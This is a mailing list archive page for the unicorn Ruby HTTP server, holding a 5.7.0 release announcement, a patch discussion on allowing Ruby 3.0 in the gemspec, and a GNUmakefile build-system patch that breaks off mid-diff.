To: ruby-talk, unicorn-public; +Cc: Jean Boussier
unicorn is an HTTP server for Rack applications designed to only serve
fast clients on low-latency, high-bandwidth connections and take
advantage of features in Unix/Unix-like kernels. Slow clients should
only be served by placing a reverse proxy capable of fully buffering
both the the request and response in between unicorn and slow clients.
Disclaimer:
Due to its ability to tolerate crashes and isolate clients, unicorn
is unfortunately known to prolong the existence of bugs in applications
and libraries which run on top of it.
Consider this just an announcement to inform existing users of a
new version, not something to convince you to switch to something
that set the entire Ruby world back decades in terms of concurrency.
.onion URLs below are available for Tor users and can reduce
our operating costs:
* https://yhbt.net/unicorn/
http://unicorn.ou63pmih66umazou.onion/
* public list: unicorn-public@yhbt.net
* mail archives: https://yhbt.net/unicorn-public/
http://ou63pmih66umazou.onion/unicorn-public/
* git clone https://yhbt.net/unicorn.git
torsocks git clone http://ou63pmih66umazou.onion/unicorn.git
* https://yhbt.net/unicorn/NEWS.atom.xml
http://unicorn.ou63pmih66umazou.onion/NEWS.atom.xml
* nntp://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn
imaps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn.0
imap://ou63pmih66umazou.onion/inbox.comp.lang.ruby.unicorn.0
Changes:
unicorn 5.7.0
Relaxed Ruby version requirements for Ruby 3.0.0dev.
Thanks to Jean Boussier for testing
^ permalink raw reply [relevance 4%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
@ 2020-09-08 8:00 3% ` Jean Boussier
0 siblings, 0 replies; 200+ results
From: Jean Boussier @ 2020-09-08 8:00 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
> Ah, perhaps adding some checks to extconf.rb would be useful?
> Or moving the ragel invocation into the extconf.rb-generated
> Makefile? (not too sure how to do that...).
Not really no. And it would make ragel a build dependency.
> I'm not remotely knowledgeable when it comes to bundler.
That's fine, it just makes unicorn a bit harder to use outside of
rubygems releases. But long story short bundler git gems is
pretty much:
- git clone repo
- gem build repo.gemspec
- gem install repo-...
So nothing is executed besides the extconf.rb. Which mean
the version file and the generated.c file would need to be
committed in the repository rather than in .gitignore.
But really I don't think so many people need to use unicorn
branches.
> OK, soon. Maybe with just the aforementioned ragel check above;
> or not even...
I'd say not even. It's just for people like me trying to run branches.
^ permalink raw reply [relevance 3%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-04 12:34 17% ` Jean Boussier
@ 2020-09-06 9:30 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-09-06 9:30 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> Ok, so the linking issues were simply me being silly. I forgot
> to run `make ragel` and commit the output (to use a git gem).
> Unicorn now run just fine under 3.0.0-dev (current master).
Odd, just "make" (no args) should work.
> So here's the patch that warn users about the Ruby version
> in extconf.rb and test_helper.rb.
>
> I'm not too fan of the duplication, but not sure how this could
> be shared.
The small amount of duplication is fine, thanks.
Pushed as commit 06e904f1e8d8e554d8992fbb3de993dff45dec4c
I needed to fix column wrapping to be <80 columns to accomodate
those needing giant fonts.
Anything else in the ruby 3.0 pipeline that might introduce
incompatibilities?
Not sure if releasing unicorn 5.7 is worth doing soon/now or
closer to December 25... Will we even survive until then?
This year keeps getting worse :<
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-03 11:23 3% ` Jean Boussier
@ 2020-09-04 12:34 17% ` Jean Boussier
2020-09-06 9:30 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-04 12:34 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
Ok, so the linking issues were simply me being silly. I forgot
to run `make ragel` and commit the output (to use a git gem).
Unicorn now run just fine under 3.0.0-dev (current master).
So here's the patch that warn users about the Ruby version
in extconf.rb and test_helper.rb.
I'm not too fan of the duplication, but not sure how this could
be shared.
--
From 68a862f65d6bc202bc4191a495e87626c2e4bfa3 Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Tue, 1 Sep 2020 17:00:12 +0200
Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
Ruby just recently bump the master version to 3.0.
This requirement bump is necessary to test unicorn
against ruby master.
---
ext/unicorn_http/extconf.rb | 4 ++++
test/test_helper.rb | 4 ++++
unicorn.gemspec | 9 +++++----
3 files changed, 13 insertions(+), 4 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index d5f81fb..2e9a7f1 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,6 +1,10 @@
# -*- encoding: binary -*-
require 'mkmf'
+unless RUBY_VERSION < '3.1'
+ warn "Unicorn was only tested against MRI up to 3.0. It might not properly work with #{RUBY_VERSION}"
+end
+
have_macro("SIZEOF_OFF_T", "ruby.h") or check_sizeof("off_t", "sys/types.h")
have_macro("SIZEOF_SIZE_T", "ruby.h") or check_sizeof("size_t", "sys/types.h")
have_macro("SIZEOF_LONG", "ruby.h") or check_sizeof("long", "sys/types.h")
diff --git a/test/test_helper.rb b/test/test_helper.rb
index e3c6ad4..19528f4 100644
--- a/test/test_helper.rb
+++ b/test/test_helper.rb
@@ -34,6 +34,10 @@
Debugger.start
end
+unless RUBY_VERSION < '3.1'
+ warn "Unicorn was only tested against MRI up to 3.0. It might not properly work with #{RUBY_VERSION}"
+end
+
def redirect_test_io
orig_err = STDERR.dup
orig_out = STDOUT.dup
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cbe855d..e6af44d 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,10 +25,11 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # technically we need ">= 1.9.3", too, but avoid the array here since
- # old rubygems versions (1.8.23.2 at least) do not support multiple
- # version requirements here.
- s.required_ruby_version = '< 3.0'
+ # 1.9.3 is the minumum supported version. We don't specify
+ # a maximum version to make it easier to test pre-releases,
+ # but we do warn users if they install unicorn on an untested
+ # version in extconf.rb
+ s.required_ruby_version = ">= 1.9.3"
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
--
2.26.2
^ permalink raw reply related [relevance 17%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
@ 2020-09-03 11:23 3% ` Jean Boussier
2020-09-04 12:34 17% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-03 11:23 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
> Do the current dependencies (kgio, raindrops) export alright, as well?
Yes just fine.
> Might be worth comparing the generated Makefile with other gems
> and see if there's missing flags or such.
I tried that but couldn't figure anything.
> Also, did things work a few days/weeks ago when ruby.git was still 2.8?
They worked fine yes. But I doubt it's caused by the version number,
the must have removed some deprecated stuff at the same time.
> *shrug* my brain hurts from other stuff
No worries. It was just in case it would ring a bell for you.
I'll keep looking and ask for help from colleagues.
^ permalink raw reply [relevance 3%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-03 8:25 0% ` Eric Wong
@ 2020-09-03 8:29 0% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-03 8:29 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
>> That could work yes. Something akin to:
>> "This ruby version wasn't tested, blah blah".
>
> OK, can you send a patch for that?
I will once I have something working on 3.0.
>> I'm trying to figure out why the symbol isn't exported,
>> I might come back with another patch. But just in case
>> you might have an idea what's going on.
>
> I haven't built+tested ruby.git in ages (my computers are too slow).
> It could be a failure to completely clean out the old 2.8 stuff
> (either in the Ruby worktree, install paths, or unicorn worktree).
I don't think so, I'm building from a fresh docker image + fresh unicorn
clone.
I also tested other similar gems (e.g. puma) and they export the functions
just fine.
I have to admit that I don't understand enough about the build process
to figure out what's going on, so I'm not very confident I'll find a fix.
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-03 7:52 4% ` Jean Boussier
@ 2020-09-03 8:25 0% ` Eric Wong
2020-09-03 8:29 0% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-09-03 8:25 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> > Perhaps adding warnings about untested+unsupported
> > versions to test_helper.rb and extconf.rb is a better way to go?
>
> That could work yes. Something akin to:
> "This ruby version wasn't tested, blah blah".
OK, can you send a patch for that?
> > Then, maybe leave the version check out of the gemspec entirely.
>
> The gemspec ruby version is very useful but for minimum requirement
> only. e.g. `>= 1.9.3`.
Yes, I suppose; I was kinda interested in using 2.3+ socket
features (replacing kgio) but I might just use io_uring on
Linux, at least.
> > Fwiw, the type of breakage from incompatibilities I'm worried
> > about is subtle things that don't show up immediately
> > (e.g. encodings, hash ordering, frozen strings, etc...).
>
> That's understandable, but 3.0 is not any more likely that 2.7
> to break any of these, and it's important that gems are testable on
> ruby pre-release, otherwise you end up with a chicken and egg
> problem of not being able to report compatibility breakages
> to ruby-core.
Agreed.
> On a totally different note, it seems that unicorn is not compiling
> quite properly against Ruby 3.0.0-dev, at least on linux:
>
> unicorn_http.so: undefined symbol: Init_unicorn_http
>
> I'm trying to figure out why the symbol isn't exported,
> I might come back with another patch. But just in case
> you might have an idea what's going on.
I haven't built+tested ruby.git in ages (my computers are too slow).
It could be a failure to completely clean out the old 2.8 stuff
(either in the Ruby worktree, install paths, or unicorn worktree).
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-01 15:41 3% ` Eric Wong
@ 2020-09-03 7:52 4% ` Jean Boussier
2020-09-03 8:25 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-03 7:52 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
> Perhaps adding warnings about untested+unsupported
> versions to test_helper.rb and extconf.rb is a better way to go?
That could work yes. Something akin to:
"This ruby version wasn't tested, blah blah".
> Then, maybe leave the version check out of the gemspec entirely.
The gemspec ruby version is very useful but for minimum requirement
only. e.g. `>= 1.9.3`.
> Fwiw, the type of breakage from incompatibilities I'm worried
> about is subtle things that don't show up immediately
> (e.g. encodings, hash ordering, frozen strings, etc...).
That's understandable, but 3.0 is not any more likely that 2.7
to break any of these, and it's important that gems are testable on
ruby pre-release, otherwise you end up with a chicken and egg
problem of not being able to report compatibility breakages
to ruby-core.
On a totally different note, it seems that unicorn is not compiling
quite properly against Ruby 3.0.0-dev, at least on linux:
unicorn_http.so: undefined symbol: Init_unicorn_http
I'm trying to figure out why the symbol isn't exported,
I might come back with another patch. But just in case
you might have an idea what's going on.
^ permalink raw reply [relevance 4%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-01 15:04 10% ` Jean Boussier
@ 2020-09-01 15:41 3% ` Eric Wong
2020-09-03 7:52 4% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-09-01 15:41 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> >> I don't really see any reason to protect against newer Ruby version.
> >
> > I do: Ruby does not have a good track record when it comes to
> > maintaining backwards compatibility.
>
> Regardless, preventing the gem installation before the version even exists
> cause massive pains to people trying to do the good thing of testing their
> app against ruby master.
>
> Until it is known that compatibility is broken, restricting the ruby version
> causes more harm than good. Just this morning I had to submit patches
> to a dozen gems.
That sucks. Perhaps adding warnings about untested+unsupported
versions to test_helper.rb and extconf.rb is a better way to go?
(nothing annoying at runtime after it's installed, though)
Then, maybe leave the version check out of the gemspec entirely.
Fwiw, the type of breakage from incompatibilities I'm worried
about is subtle things that don't show up immediately
(e.g. encodings, hash ordering, frozen strings, etc...).
Stuff that obviously breaks at startup is preferable
(e.g. I added some 1.9 symbol hash keys to signal the move
away from 1.8).
Thanks.
^ permalink raw reply [relevance 3%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-01 14:48 0% ` Eric Wong
@ 2020-09-01 15:04 10% ` Jean Boussier
2020-09-01 15:41 3% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-01 15:04 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
>> I don't really see any reason to protect against newer Ruby version.
>
> I do: Ruby does not have a good track record when it comes to
> maintaining backwards compatibility.
Regardless, preventing the gem installation before the version even exists
cause massive pains to people trying to do the good thing of testing their
app against ruby master.
Until it is known that compatibility is broken, restricting the ruby version
causes more harm than good. Just this morning I had to submit patches
to a dozen gems.
> Hint: you can make maintainers' life slightly easier by adding
> a "--8<--\n" line before the patch, so "git am --scissors" works :>
> (the "From " line is also unnecessary)
Apologies, I forgot that one.
I included a new version of the patch using `< 4.0`.
--
From 307ea35d87c6a45d8b4261f03793a7a74d885bb2 Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Tue, 1 Sep 2020 17:00:12 +0200
Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
Ruby just recently bump the master version to 3.0.
This requirement bump is necessary to test unicorn
against ruby master.
---
unicorn.gemspec | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cbe855d..f04a11b 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -28,7 +28,7 @@
# technically we need ">= 1.9.3", too, but avoid the array here since
# old rubygems versions (1.8.23.2 at least) do not support multiple
# version requirements here.
- s.required_ruby_version = '< 3.0'
+ s.required_ruby_version = '< 4.0'
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
--
2.26.2
^ permalink raw reply related [relevance 10%]
* Re: [PATCH] Update ruby_version requirement to allow ruby 3.0
2020-09-01 12:17 11% [PATCH] Update ruby_version requirement to allow ruby 3.0 Jean Boussier
@ 2020-09-01 14:48 0% ` Eric Wong
2020-09-01 15:04 10% ` Jean Boussier
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2020-09-01 14:48 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> Ruby just recently bump the master version to 3.0 and this
> version requirement in unicorn breaks our ruby-head CI.
Thanks for the note. Something to that effect should be in the
commit message body.
> I don't really see any reason to protect against newer Ruby version.
I do: Ruby does not have a good track record when it comes to
maintaining backwards compatibility. I no longer start new
projects in Ruby as a result.
If 3.0 seems OK (we won't be certain until December), then
bumping it to "< 4.0" should be acceptable for now.
Hint: you can make maintainers' life slightly easier by adding
a "--8<--\n" line before the patch, so "git am --scissors" works :>
(the "From " line is also unnecessary)
> From d1c43dd70b06543727ac88e3930caa0482558a6b Mon Sep 17 00:00:00 2001
> From: Jean Boussier <jean.boussier@gmail.com>
> Date: Tue, 1 Sep 2020 14:14:07 +0200
> Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
As noted above, something along the lines of ruby.git being on
3.0 and our current code being compatible with it is necessary,
here.
> --- a/unicorn.gemspec
> - # technically we need ">= 1.9.3", too, but avoid the array here since
> - # old rubygems versions (1.8.23.2 at least) do not support multiple
> - # version requirements here.
I prefer we keep that above comment, too, to keep working with
older rubygems. Thanks.
> - s.required_ruby_version = '< 3.0'
> + s.required_ruby_version = '>= 1.9.3'
^ permalink raw reply [relevance 0%]
* [PATCH] Update ruby_version requirement to allow ruby 3.0
@ 2020-09-01 12:17 11% Jean Boussier
2020-09-01 14:48 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2020-09-01 12:17 UTC (permalink / raw)
To: unicorn-public
Ruby just recently bump the master version to 3.0 and this version requirement in unicorn breaks our ruby-head CI.
I don't really see any reason to protect against newer Ruby version.
From d1c43dd70b06543727ac88e3930caa0482558a6b Mon Sep 17 00:00:00 2001
From: Jean Boussier <jean.boussier@gmail.com>
Date: Tue, 1 Sep 2020 14:14:07 +0200
Subject: [PATCH] Update ruby_version requirement to allow ruby 3.0
---
unicorn.gemspec | 5 +----
1 file changed, 1 insertion(+), 4 deletions(-)
diff --git a/unicorn.gemspec b/unicorn.gemspec
index cbe855d..9a79055 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,10 +25,7 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # technically we need ">= 1.9.3", too, but avoid the array here since
- # old rubygems versions (1.8.23.2 at least) do not support multiple
- # version requirements here.
- s.required_ruby_version = '< 3.0'
+ s.required_ruby_version = '>= 1.9.3'
# We do not have a hard dependency on rack, it's possible to load
# things which respond to #call. HTTP status lines in responses
--
2.26.2
^ permalink raw reply related [relevance 11%]
* [PATCH 2/2] build: revamp and avoid unnecessary rebuilds
@ 2020-07-26 1:57 14% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2020-07-26 1:57 UTC (permalink / raw)
To: unicorn-public
We can limit the amount of Ruby-version-specific code to
just the stuff in ext/* and bin/*, reducing I/O traffic
and FS + page cache footprint.
Furthermore, rely on GNU make behavior to copy all the necessary
files so we don't trigger unnecessary extconf.rb invocations
just by touching a .rb file in lib.
---
GNUmakefile | 160 ++++++++++++++++++++++++++++++++------------------
t/GNUmakefile | 75 +----------------------
2 files changed, 105 insertions(+), 130 deletions(-)
diff --git a/GNUmakefile b/GNUmakefile
index eac3473f..d80e6080 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -10,6 +10,7 @@ RAGEL = ragel
RSYNC = rsync
OLDDOC = olddoc
RDOC = rdoc
+INSTALL = install
GIT-VERSION-FILE: .FORCE-GIT-VERSION-FILE
@./GIT-VERSION-GEN
@@ -25,7 +26,38 @@ endif
RUBY_ENGINE := $(shell $(RUBY) -e 'puts((RUBY_ENGINE rescue "ruby"))')
-MYLIBS = $(RUBYLIB)
+# we should never package more than one ext to avoid DSO proliferation:
+# https://udrepper.livejournal.com/8790.html
+ext := $(firstword $(wildcard ext/*))
+
+ragel: $(ext)/unicorn_http.c
+
+rl_files := $(wildcard $(ext)/*.rl)
+ragel: $(ext)/unicorn_http.c
+$(ext)/unicorn_http.c: $(rl_files)
+ cd $(@D) && $(RAGEL) unicorn_http.rl -C $(RLFLAGS) -o $(@F)
+ext_pfx := test/$(RUBY_ENGINE)-$(RUBY_VERSION)
+tmp_bin := $(ext_pfx)/bin
+ext_h := $(wildcard $(ext)/*/*.h $(ext)/*.h)
+ext_src := $(sort $(wildcard $(ext)/*.c) $(ext_h) $(ext)/unicorn_http.c)
+ext_pfx_src := $(addprefix $(ext_pfx)/,$(ext_src))
+ext_dir := $(ext_pfx)/$(ext)
+$(ext)/extconf.rb: $(wildcard $(ext)/*.h)
+ @>>$@
+$(ext_dir) $(tmp_bin) man/man1 doc/man1 pkg t/trash:
+ @mkdir -p $@
+$(ext_pfx)/$(ext)/%: $(ext)/% | $(ext_dir)
+ $(INSTALL) -m 644 $< $@
+$(ext_pfx)/$(ext)/Makefile: $(ext)/extconf.rb $(ext_h) | $(ext_dir)
+ $(RM) -f $(@D)/*.o
+ cd $(@D) && $(RUBY) $(CURDIR)/$(ext)/extconf.rb $(EXTCONF_ARGS)
+ext_sfx := _ext.$(DLEXT)
+ext_dl := $(ext_pfx)/$(ext)/$(notdir $(ext)_ext.$(DLEXT))
+$(ext_dl): $(ext_src) $(ext_pfx_src) $(ext_pfx)/$(ext)/Makefile
+ $(MAKE) -C $(@D)
+lib := $(CURDIR)/lib:$(CURDIR)/$(ext_pfx)/$(ext)
+http build: $(ext_dl)
+$(ext_pfx)/$(ext)/unicorn_http.c: ext/unicorn_http/unicorn_http.c
# dunno how to implement this as concisely in Ruby, and hell, I love awk
awk_slow := awk '/def test_/{print FILENAME"--"$$2".n"}' 2>/dev/null
@@ -37,44 +69,21 @@ T := $(filter-out $(slow_tests), $(wildcard test/*/test*.rb))
T_n := $(shell $(awk_slow) $(slow_tests))
T_log := $(subst .rb,$(log_suffix),$(T))
T_n_log := $(subst .n,$(log_suffix),$(T_n))
-test_prefix = $(CURDIR)/test/$(RUBY_ENGINE)-$(RUBY_VERSION)
-ext := ext/unicorn_http
-c_files := $(ext)/unicorn_http.c $(ext)/httpdate.c $(wildcard $(ext)/*.h)
-rl_files := $(wildcard $(ext)/*.rl)
base_bins := unicorn unicorn_rails
bins := $(addprefix bin/, $(base_bins))
man1_rdoc := $(addsuffix _1, $(base_bins))
man1_bins := $(addsuffix .1, $(base_bins))
man1_paths := $(addprefix man/man1/, $(man1_bins))
-rb_files := $(bins) $(shell find lib ext -type f -name '*.rb')
-inst_deps := $(c_files) $(rb_files) GNUmakefile test/test_helper.rb
-
-ragel: $(ext)/unicorn_http.c
-$(ext)/unicorn_http.c: $(rl_files)
- cd $(@D) && $(RAGEL) unicorn_http.rl -C $(RLFLAGS) -o $(@F)
-$(ext)/Makefile: $(ext)/extconf.rb $(c_files)
- cd $(@D) && $(RUBY) extconf.rb
-$(ext)/unicorn_http.$(DLEXT): $(ext)/Makefile
- $(MAKE) -C $(@D)
-http: $(ext)/unicorn_http.$(DLEXT)
+tmp_bins = $(addprefix $(tmp_bin)/, unicorn unicorn_rails)
+pid := $(shell echo $$PPID)
-# only used for tests
-http-install: $(ext)/unicorn_http.$(DLEXT)
- install -m644 $< lib/
+$(tmp_bin)/%: bin/% | $(tmp_bin)
+ $(INSTALL) -m 755 $< $@.$(pid)
+ $(MRI) -i -p -e '$$_.gsub!(%r{^#!.*$$},"#!$(ruby_bin)")' $@.$(pid)
+ mv $@.$(pid) $@
-test-install: $(test_prefix)/.stamp
-$(test_prefix)/.stamp: $(inst_deps)
- mkdir -p $(test_prefix)/.ccache
- tar cf - $(inst_deps) GIT-VERSION-GEN | \
- (cd $(test_prefix) && tar xf -)
- $(MAKE) -C $(test_prefix) clean
- $(MAKE) -C $(test_prefix) http-install shebang RUBY="$(RUBY)"
- > $@
-
-# this is only intended to be run within $(test_prefix)
-shebang: $(bins)
- $(MRI) -i -p -e '$$_.gsub!(%r{^#!.*$$},"#!$(ruby_bin)")' $^
+bins: $(tmp_bins)
t_log := $(T_log) $(T_n_log)
test: $(T) $(T_n)
@@ -83,15 +92,54 @@ test: $(T) $(T_n)
test-exec: $(wildcard test/exec/test_*.rb)
test-unit: $(wildcard test/unit/test_*.rb)
-$(slow_tests): $(test_prefix)/.stamp
+$(slow_tests): $(ext_dl)
@$(MAKE) $(shell $(awk_slow) $@)
# ensure we can require just the HTTP parser without the rest of unicorn
-test-require: $(ext)/unicorn_http.$(DLEXT)
- $(RUBY) --disable-gems -I$(ext) -runicorn_http -e Unicorn
+test-require: $(ext_dl)
+ $(RUBY) --disable-gems -I$(ext_pfx)/$(ext) -runicorn_http -e Unicorn
+
+test_prereq := $(tmp_bins) $(ext_dl)
+
+SH_TEST_OPTS =
+ifdef V
+ ifeq ($(V),2)
+ SH_TEST_OPTS += --trace
+ else
+ SH_TEST_OPTS += --verbose
+ endif
+endif
-test-integration: $(test_prefix)/.stamp
- $(MAKE) -C t
+# do we trust Ruby behavior to be stable? some tests are
+# (mostly) POSIX sh (not bash or ksh93, so no "set -o pipefail"
+# TRACER = strace -f -o $(t_pfx).strace -s 100000
+# TRACER = /usr/bin/time -o $(t_pfx).time
+t_pfx = trash/$@-$(RUBY_ENGINE)-$(RUBY_VERSION)
+T_sh = $(wildcard t/t[0-9][0-9][0-9][0-9]-*.sh)
+$(T_sh): export RUBY := $(RUBY)
+$(T_sh): export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+$(T_sh): export RUBYLIB := $(lib):$(RUBYLIB)
+$(T_sh): dep $(test_prereq) t/random_blob t/trash/.gitignore
+ cd t && $(TRACER) $(SHELL) $(SH_TEST_OPTS) $(@F) $(TEST_OPTS)
+
+t/trash/.gitignore : | t/trash
+ echo '*' >$@
+
+dependencies := socat curl
+deps := $(addprefix t/.dep+,$(dependencies))
+$(deps): dep_bin = $(lastword $(subst +, ,$@))
+$(deps):
+ @which $(dep_bin) > $@.$(pid) 2>/dev/null || :
+ @test -s $@.$(pid) || \
+ { echo >&2 "E '$(dep_bin)' not found in PATH=$(PATH)"; exit 1; }
+ @mv $@.$(pid) $@
+dep: $(deps)
+
+t/random_blob:
+ dd if=/dev/urandom bs=1M count=30 of=$@.$(pid)
+ mv $@.$(pid) $@
+
+test-integration: $(T_sh)
check: test-require test test-integration
test-all: check
@@ -122,16 +170,16 @@ run_test = $(quiet_pre) \
%.n: arg = $(subst .n,,$(subst --, -n ,$@))
%.n: t = $(subst .n,$(log_suffix),$@)
-%.n: export PATH := $(test_prefix)/bin:$(PATH)
-%.n: export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-%.n: $(test_prefix)/.stamp
+%.n: export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+%.n: export RUBYLIB := $(lib):$(RUBYLIB)
+%.n: $(test_prereq)
$(run_test)
$(T): arg = $@
$(T): t = $(subst .rb,$(log_suffix),$@)
-$(T): export PATH := $(test_prefix)/bin:$(PATH)
-$(T): export RUBYLIB := $(test_prefix)/lib:$(MYLIBS)
-$(T): $(test_prefix)/.stamp
+$(T): export PATH := $(CURDIR)/$(tmp_bin):$(PATH)
+$(T): export RUBYLIB := $(lib):$(RUBYLIB)
+$(T): $(test_prereq)
$(run_test)
install: $(bins) $(ext)/unicorn_http.c
@@ -152,18 +200,16 @@ clean:
-$(MAKE) -C $(ext) clean
$(RM) $(ext)/Makefile
$(RM) $(setup_rb_files) $(t_log)
- $(RM) -r $(test_prefix) man
- $(RM) $(man1) $(html1)
+ $(RM) -r $(ext_pfx) man t/trash
+ $(RM) $(html1)
man1 := $(addprefix Documentation/, unicorn.1 unicorn_rails.1)
html1 := $(addsuffix .html, $(man1))
-man :
- mkdir -p man/man1
- install -m 644 $(man1) man/man1
+man : $(man1) | man/man1
+ $(INSTALL) -m 644 $(man1) man/man1
-html : $(html1)
- mkdir -p doc/man1
- install -m 644 $(html1) doc/man1
+html : $(html1) | doc/man1
+ $(INSTALL) -m 644 $(html1) doc/man1
%.1.html: %.1
$(OLDDOC) man2html -o $@ ./$<
@@ -187,10 +233,10 @@ doc: .document $(ext)/unicorn_http.c man html .olddoc.yml $(PLACEHOLDERS)
$(OLDDOC) prepare
$(RDOC) -f dark216
$(OLDDOC) merge
- install -m644 COPYING doc/COPYING
- install -m644 NEWS.atom.xml doc/NEWS.atom.xml
- install -m644 $(shell LC_ALL=C grep '^[A-Z]' .document) doc/
- install -m644 $(man1_paths) doc/
+ $(INSTALL) -m 644 COPYING doc/COPYING
+ $(INSTALL) -m 644 NEWS.atom.xml doc/NEWS.atom.xml
+ $(INSTALL) -m 644 $(shell LC_ALL=C grep '^[A-Z]' .document) doc/
+ $(INSTALL) -m 644 $(man1_paths) doc/
tar cf - $$(git ls-files examples/) | (cd doc && tar xf -)
# publishes docs to https://yhbt.net/unicorn/
@@ -231,9 +277,8 @@ gem: $(pkggem)
install-gem: $(pkggem)
gem install --local $(CURDIR)/$<
-$(pkggem): .manifest fix-perms
+$(pkggem): .manifest fix-perms | pkg
gem build $(rfpackage).gemspec
- mkdir -p pkg
mv $(@F) $@
$(pkgtgz): distdir = $(basename $@)
@@ -264,5 +309,4 @@ check-warnings:
do $(RUBY) --disable-gems -d -W2 -c \
$$i; done) | grep -v '^Syntax OK$$' || :
-.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man
-.PHONY: test-install
+.PHONY: .FORCE-GIT-VERSION-FILE doc $(T) $(slow_tests) man $(T_sh) clean
diff --git a/t/GNUmakefile b/t/GNUmakefile
index 5f5d9bc3..0ac9b9a3 100644
--- a/t/GNUmakefile
+++ b/t/GNUmakefile
@@ -1,74 +1,5 @@
-# we can run tests in parallel with GNU make
+# there used to be more, here, but we stopped relying on recursive make
all::
+ $(MAKE) -C .. test-integration
-pid := $(shell echo $$PPID)
-
-RUBY = ruby
-RAKE = rake
--include ../local.mk
-ifeq ($(RUBY_VERSION),)
- RUBY_VERSION := $(shell $(RUBY) -e 'puts RUBY_VERSION')
-endif
-
-ifeq ($(RUBY_VERSION),)
- $(error unable to detect RUBY_VERSION)
-endif
-
-RUBY_ENGINE := $(shell $(RUBY) -e 'puts((RUBY_ENGINE rescue "ruby"))')
-export RUBY_ENGINE
-
-MYLIBS := $(RUBYLIB)
-
-T = $(wildcard t[0-9][0-9][0-9][0-9]-*.sh)
-
-all:: $(T)
-
-# can't rely on "set -o pipefail" since we don't require bash or ksh93 :<
-t_pfx = trash/$@-$(RUBY_ENGINE)-$(RUBY_VERSION)
-TEST_OPTS =
-# TRACER = strace -f -o $(t_pfx).strace -s 100000
-# TRACER = /usr/bin/time -o $(t_pfx).time
-
-ifdef V
- ifeq ($(V),2)
- TEST_OPTS += --trace
- else
- TEST_OPTS += --verbose
- endif
-endif
-
-random_blob:
- dd if=/dev/urandom bs=1M count=30 of=$@.$(pid)
- mv $@.$(pid) $@
-
-$(T): random_blob
-
-dependencies := socat curl
-deps := $(addprefix .dep+,$(dependencies))
-$(deps): dep_bin = $(lastword $(subst +, ,$@))
-$(deps):
- @which $(dep_bin) > $@.$(pid) 2>/dev/null || :
- @test -s $@.$(pid) || \
- { echo >&2 "E '$(dep_bin)' not found in PATH=$(PATH)"; exit 1; }
- @mv $@.$(pid) $@
-dep: $(deps)
-
-test_prefix := $(CURDIR)/../test/$(RUBY_ENGINE)-$(RUBY_VERSION)
-$(test_prefix)/.stamp:
- $(MAKE) -C .. test-install
-
-$(T): export RUBY := $(RUBY)
